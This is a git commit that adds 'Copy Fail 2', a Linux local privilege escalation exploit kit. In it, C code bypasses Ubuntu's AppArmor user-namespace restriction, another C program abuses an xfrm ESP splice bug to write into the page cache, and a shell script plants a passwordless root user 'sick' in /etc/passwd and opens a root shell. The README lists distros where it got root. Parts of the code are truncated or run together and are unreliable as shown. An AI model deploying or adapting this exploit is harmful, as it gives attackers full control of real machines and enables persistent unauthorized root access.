commit b7336f670bdbf7aa379eac5b644c9ad1b451172e Author: 0xdeadbeefnetwork Date: Thu May 7 14:09:03 2026 -0400 Copy Fail 2: Electric Boogaloo diff --git a/README.md b/README.md new file mode 100644 index 0000000..358f393 --- /dev/null +++ b/README.md @@ -0,0 +1,53 @@ +# Copy Fail 2: Electric Boogaloo + +Unprivileged Linux LPE via xfrm ESP-in-UDP MSG_SPLICE_PAGES no-COW fast +path. Page-cache write into any readable file. Overwrites a nologin +line in `/etc/passwd` with `sick::0:0:...:/:/bin/bash` and `su`s into +it. Same class as Copy Fail (CVE-2026-31431), different subsystem. + +Bug: https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git/commit/?id=f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4 + +## Build + + sudo apt install -y libssl-dev gcc + gcc -O2 -Wall copyfail2.c -o copyfail2 -lcrypto + gcc -O2 -Wall aa-rootns.c -o aa-rootns + +## Run + + ./run.sh # install + drop into root shell + ./run.sh --clean # revert /etc/passwd via the same primitive + +Adds passwordless uid-0 user `sick` to `/etc/passwd`, then `exec su - sick`. +PAM `nullok` accepts the empty password silently — no input needed. The +`sick` line stays in `/etc/passwd` — re-run drops straight back into root. +State for `--clean` is stashed at `/var/tmp/.cf2.state`. + +No sudo. esp4 / xfrm_user / xfrm_algo autoload via the userns netlink +path. + +## Tested + +| distro | kernel | result | +|--------------------|----------------------|------------------| +| Ubuntu 22.04 LTS | 5.15.0-176-generic | not vulnerable* | +| Ubuntu 24.04 LTS | 6.8.0-110-generic | root | +| Debian 13 | 6.12.74 | root | +| Arch | 6.19.11-arch1-1 | root | +| Fedora 43 | 6.19.14-200.fc43 | root | +| Ubuntu 26.04 LTS | 7.0.0-15-generic | root | + +*MSG_SPLICE_PAGES UDP support was added in 6.5, so 5.15 is below the +bug's reach. + +## Credits + +Hyunwoo Kim (imv4bel) and Kuan-Ting Chen (h3xrabbit): reported, tested, +authored the upstream fix. + +Steffen Klassert: IPsec maintainer, posted the fix to netdev/net.git. + +Brad Spengler (@spendergrsec / grsecurity): called it copyfail-class +before anyone else read the commit. + +Theori / Xint: original Copy Fail (CVE-2026-31431). diff --git a/aa-rootns.c b/aa-rootns.c new file mode 100644 index 0000000..a4befd0 --- /dev/null +++ b/aa-rootns.c @@ -0,0 +1,97 @@ +/* + * aa-rootns — defeat Ubuntu apparmor_restrict_unprivileged_userns + * + * stage 0: change_onexec(crun); execv self — enter unconfined profile + * stage 1: change_onexec(chrome); execv self — double-hop, optional + * stage 2: unshare(CLONE_NEWUSER); write uid_map / gid_map; capset I=P; + * raise all caps into Ambient; execvp target. + * + * Build: gcc -O2 -Wall -o aa-rootns aa-rootns.c + * Use: ./aa-rootns -p # proof of caps + * ./aa-rootns -- id # run command in the userns + * ./aa-rootns -n -- cmd # also unshare(NEWNET) before exec + * + * No funny business. Standard libc, no eBPF, no JIT, no kernel module. + */ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +static int change_onexec(const char *p) { + int fd = open("/proc/self/attr/exec", O_WRONLY); + if (fd < 0) return -1; + char b[256]; int n = snprintf(b, sizeof b, "exec %s", p); + ssize_t r = write(fd, b, n); int e = errno; + close(fd); errno = e; return r == n ? 0 : -1; +} +static void wfile(const char *p, const char *c) { + int fd = open(p, O_WRONLY); if (fd < 0) return; + (void)!write(fd, c, strlen(c)); close(fd); +} + +#define TAG "AA-ROOTNS-STAGE-" + +static int stage1(int ac, char **av) { + if (change_onexec("chrome") < 0) return perror("chrome"), 1; + av[1] = (char *)TAG "2"; execv("/proc/self/exe", av); + return perror("execv s2"), 1; +} +static int stage2(int ac, char **av) { + int newnet = 0; + int proof = 0; + int sep = -1; + for (int i = 2; i < ac; i++) { + if (!strcmp(av[i], "--")) { sep = i; break; } + if (!strcmp(av[i], "-n")) newnet = 1; + else if (!strcmp(av[i], "-p")) proof = 1; + } + + uid_t u = getuid(); gid_t g = getgid(); + int flags = CLONE_NEWUSER; + if (newnet) flags |= CLONE_NEWNET; + if (unshare(flags) < 0) return perror("unshare"), 1; + wfile("/proc/self/setgroups", "deny"); + char m[64]; + snprintf(m, sizeof m, "0 %u 1", u); wfile("/proc/self/uid_map", m); + snprintf(m, sizeof m, "0 %u 1", g); wfile("/proc/self/gid_map", m); + (void)!setresuid(0, 0, 0); (void)!setresgid(0, 0, 0); + + struct __user_cap_header_struct h = { _LINUX_CAPABILITY_VERSION_3, 0 }; + struct __user_cap_data_struct d[2] = {0}; + syscall(SYS_capget, &h, d); + d[0].inheritable = d[0].permitted; + d[1].inheritable = d[1].permitted; + syscall(SYS_capset, &h, d); + for (int c = 0; c < 64; c++) + prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, c, 0, 0); + + if (proof) { + printf("uid=%d euid=%d caps eff=0x%llx perm=0x%llx\n", + getuid(), geteuid(), + ((unsigned long long)d[1].effective << 32) | d[0].effective, + ((unsigned long long)d[1].permitted << 32) | d[0].permitted); + return 0; + } + + char *def[] = { (char *)"/bin/bash", NULL }; + char **t = (sep > 0 && sep + 1 < ac) ? &av[sep + 1] : def; + execvp(t[0], t); return perror("execvp"), 1; +} +int main(int ac, char **av) { + if (ac >= 2 && !strcmp(av[1], TAG "1")) return stage1(ac, av); + if (ac >= 2 && !strcmp(av[1], TAG "2")) return stage2(ac, av); + if (change_onexec("crun") < 0) { perror("crun"); return 1; } + char **a = calloc(ac + 2, sizeof *a); + a[0] = av[0]; a[1] = (char *)TAG "1"; + for (int i = 1; i < ac; i++) a[i + 1] = av[i]; + execv("/proc/self/exe", a); + return perror("execv s1"), 1; +} diff --git a/copyfail2.c b/copyfail2.c new file mode 100644 index 0000000..86d4c13 --- /dev/null +++ b/copyfail2.c @@ -0,0 +1,187 @@ +// copyfail2.c - kernel page-cache write via xfrm ESP MSG_SPLICE_PAGES bug +// run inside: aa-rootns -n -- ./copyfail2 [target-file] +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifndef UDP_ENCAP +#define UDP_ENCAP 100 +#endif +#ifndef UDP_ENCAP_ESPINUDP +#define UDP_ENCAP_ESPINUDP 2 +#endif +#include + +#define SPI 0xdeadbeef +#define ENC_PORT 4500 +#define IVLEN 8 +#define ICVLEN 16 +#define AES_KEYLEN 16 +#define SALT_LEN 4 +#define KEYTOTAL (AES_KEYLEN + SALT_LEN) // 20 bytes for rfc4106 + +#ifndef SPLICE_F_MORE +#define SPLICE_F_MORE 0x4 +#endif + +static const unsigned char AEAD_KEY[KEYTOTAL] = { + 0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07, + 0x08,0x09,0x0a,0x0b,0x0c,0x0d,0x0e,0x0f, + 0x10,0x11,0x12,0x13 // last 4 = salt +}; + +static void die(const char *m) { perror(m); exit(1); } + +// AES-CTR keystream byte at offset 'off' (in bytes from start of ciphertext) +// rfc4106 counter starts at 1; OpenSSL EVP_aes_128_gcm with 12B nonce handles that. +static int aes_gcm_keystream_byte(const unsigned char *key16, + const unsigned char *nonce12, + size_t off, unsigned char *out) +{ + EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new(); + if (!ctx) return -1; + int len; + if (!EVP_EncryptInit_ex(ctx, EVP_aes_128_gcm(), NULL, NULL, NULL)) goto bad; + if (!EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_AEAD_SET_IVLEN, 12, NULL)) goto bad; + if (!EVP_EncryptInit_ex(ctx, NULL, NULL, key16, nonce12)) goto bad; + unsigned char zeros[256] = {0}; + size_t need = off + 1; + unsigned char buf[256]; + while (need) { + size_t chunk = need < sizeof(zeros) ? need : sizeof(zeros); + if (!EVP_EncryptUpdate(ctx, buf, &len, zeros, chunk)) goto bad; + if (chunk == need) { + *out = buf[chunk - 1]; + EVP_CIPHER_CTX_free(ctx); + return 0; + } + need -= chunk; + } +bad: + EVP_CIPHER_CTX_free(ctx); + return -1; +} + +int main(int argc, char *argv[]) +{ + if (argc < 4) { + fprintf(stderr, "usage: %s \n", argv[0]); + return 2; + } + const char *target = argv[1]; + size_t tboff = strtoul(argv[2], 0, 0); // byte offset in file + unsigned char want_plain = (unsigned char)strtoul(argv[3], 0, 0); + + // 1. read original byte + int tfd = open(target, O_RDONLY); + if (tfd < 0) die("open target"); + unsigned char tbyte; + if (pread(tfd, &tbyte, 1, tboff) != 1) die("pread target byte"); + unsigned char want_ks = tbyte ^ want_plain; + printf("[+] target=%s off=%zu ciphertext=0x%02x want_plain=0x%02x need_ks=0x%02x\n", + target, tboff, tbyte, want_plain, want_ks); + if (tbyte == want_plain) { printf("[!] target byte already equals desired value\n"); return 0; } + + // 2. brute-force IV: keystream byte 0 (since ciphertext is 1 byte at counter-1 offset 0) + unsigned char IV[IVLEN] = {0}; + unsigned char nonce[12]; + memcpy(nonce, AEAD_KEY + AES_KEYLEN, SALT_LEN); + unsigned char ks_byte = 0; + uint64_t ivv; + for (ivv = 1; ivv < (1ULL<<32); ivv++) { + memcpy(IV, &ivv, IVLEN); + memcpy(nonce + SALT_LEN, IV, IVLEN); + if (aes_gcm_keystream_byte(AEAD_KEY, nonce, 0, &ks_byte)) { + fprintf(stderr, "openssl error\n"); return 1; + } + if (ks_byte == want_ks) break; + } + if (ks_byte != want_ks) { fprintf(stderr, "no IV found\n"); return 1; } + printf("[+] IV found (after %lu trials): ", (unsigned long)ivv); + for (int i=0;i:/:/bin/bash` — +# length-matched, valid 7-field entry, empty password field. PAM +# pam_unix.so nullok accepts empty input password. +# +# Usage: +# ./run.sh install + drop into root shell +# ./run.sh --clean undo the install (revert /etc/passwd via the same primitive) + +set -u +HERE=$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd) +STATE=/var/tmp/.cf2.state +NEW_USER=sick +PREFIX="${NEW_USER}::0:0:" +SUFFIX=":/:/bin/bash" + +red() { printf '\033[31m%s\033[0m\n' "$*" >&2; } +green() { printf '\033[32m%s\033[0m\n' "$*"; } +blue() { printf '\033[34m=== %s\033[0m\n' "$*"; } + +# Userns harness — try plain unshare first, fall back to aa-rootns. +# Probe must actually grant CAP_NET_ADMIN (Ubuntu apparmor_restrict_unprivileged_userns +# strips caps but `unshare` itself still returns 0). +setup_usns() { + if unshare -U -r -n -- /bin/sh -c 'ip link add type dummy 2>/dev/null && ip link del dev dummy0 2>/dev/null' 2>/dev/null; then + USNS=(unshare -U -r -n --) + return + fi + if [ -n "${AAR:-}" ] && [ -x "$AAR" ]; then + USNS=("$AAR" -n --); return + fi + if command -v aa-rootns >/dev/null 2>&1; then + USNS=("$(command -v aa-rootns)" -n --); return + fi + if [ ! -x "$HERE/aa-rootns" ] && [ -f "$HERE/aa-rootns.c" ]; then + gcc -O2 -Wall "$HERE/aa-rootns.c" -o "$HERE/aa-rootns" \ + || { red "build aa-rootns failed"; exit 1; } + fi + if [ -x "$HERE/aa-rootns" ]; then + USNS=("$HERE/aa-rootns" -n --); return + fi + red "no usable userns harness — install aa-rootns or set apparmor_restrict_unprivileged_userns=0" + exit 1 +} + +build_helper() { + [ -x "$HERE/copyfail2" ] || gcc -O2 -Wall "$HERE/copyfail2.c" -o "$HERE/copyfail2" -lcrypto \ + || { red "build copyfail2 failed (need libssl-dev)"; exit 1; } +} + +flip_range() { + # $1 = LINE_OFF, $2 = source string (current bytes), $3 = target string + local line_off=$1 src=$2 dst=$3 len=${#2} + local i o t off + declare -ag FLIPS=() + for ((i=0; i/dev/null + done +} + +# ---------- --clean ---------- +if [ "${1:-}" = "--clean" ] || [ "${1:-}" = "-c" ]; then + [ -r "$STATE" ] || { red "no state file at $STATE — nothing to clean (or run as the same user that installed)"; exit 1; } + # shellcheck disable=SC1090 + . "$STATE" + : "${LINE_OFF:?missing LINE_OFF in state}" "${VICTIM_LINE:?missing VICTIM_LINE in state}" + VICTIM_LEN=${#VICTIM_LINE} + + setup_usns + build_helper + + CURRENT=$(dd if=/etc/passwd bs=1 skip="$LINE_OFF" count="$VICTIM_LEN" 2>/dev/null) + if [ "$CURRENT" = "$VICTIM_LINE" ]; then + green "[+] /etc/passwd already matches original — clearing state file" + rm -f "$STATE" + exit 0 + fi + + # Compute flips + declare -a CFLIPS=() + for ((i=0; i/dev/null + done + + if grep -q "^${NEW_USER}::0:0:" /etc/passwd; then + red "sick line still present — clean failed" + exit 1 + fi + NEW=$(dd if=/etc/passwd bs=1 skip="$LINE_OFF" count="$VICTIM_LEN" 2>/dev/null) + if [ "$NEW" != "$VICTIM_LINE" ]; then + red "post-clean line mismatch — manual fix required" + echo "expected: $VICTIM_LINE" + echo "got: $NEW" + exit 1 + fi + + rm -f "$STATE" + green "[+] cleaned — '${VICTIM_LINE%%:*}' line restored, state file removed" + exit 0 +fi + +# ---------- default: install ---------- +if [ "${1:-}" = "--help" ] || [ "${1:-}" = "-h" ]; then + sed -n '2,12p' "$0" + exit 0 +fi + +# Already installed? Just su. +if getent passwd "$NEW_USER" | grep -q "^${NEW_USER}::0:0:"; then + green "[+] '$NEW_USER' already in /etc/passwd" + exec su - "$NEW_USER" +fi + +setup_usns +build_helper + +getent passwd "$NEW_USER" >/dev/null \ + && { red "'$NEW_USER' already exists in passwd with non-uid-0 entry — pick a different NEW_USER"; exit 1; } + +# Pick the longest /etc/passwd line whose shell is nologin/false/sync. +VICTIM_LINE=$(awk -F: ' + $NF == "/usr/sbin/nologin" || $NF == "/sbin/nologin" || + $NF == "/bin/false" || $NF == "/usr/bin/false" || $NF == "/bin/sync" { + if (length($0) > maxlen) { maxlen = length($0); maxline = $0 } + } + END { print maxline } +' /etc/passwd) +[ -n "$VICTIM_LINE" ] || { red "no victim line found in /etc/passwd"; exit 1; } +VICTIM_NAME=${VICTIM_LINE%%:*} +VICTIM_LEN=${#VICTIM_LINE} + +PAD_LEN=$((VICTIM_LEN - ${#PREFIX} - ${#SUFFIX})) +[ "$PAD_LEN" -ge 0 ] \ + || { red "victim '$VICTIM_NAME' line too short ($VICTIM_LEN chars)"; exit 1; } +PAD=$(printf '%*s' "$PAD_LEN" '' | tr ' ' 'X') +TARGET_LINE="${PREFIX}${PAD}${SUFFIX}" + +LINE_OFF=$(grep -nob "^$VICTIM_NAME:" /etc/passwd | head -1 | cut -d: -f2) + +# Persist state for --clean before we mutate +umask 077 +{ + echo "LINE_OFF=$LINE_OFF" + printf 'VICTIM_LINE=%q\n' "$VICTIM_LINE" +} > "$STATE" + +blue "Stage 1 — overwrite '$VICTIM_NAME' line ($VICTIM_LEN bytes) with '$NEW_USER::0:0::/:/bin/bash'" +flip_range "$LINE_OFF" "$VICTIM_LINE" "$TARGET_LINE" + +blue "Stage 2 — verify" +grep "^$NEW_USER:" /etc/passwd || { red "mutation didn't land"; exit 1; } + +blue "Stage 3 — su - $NEW_USER (empty password via PAM nullok)" +green "[i] state saved to $STATE — run './run.sh --clean' to revert" +exec su - "$NEW_USER"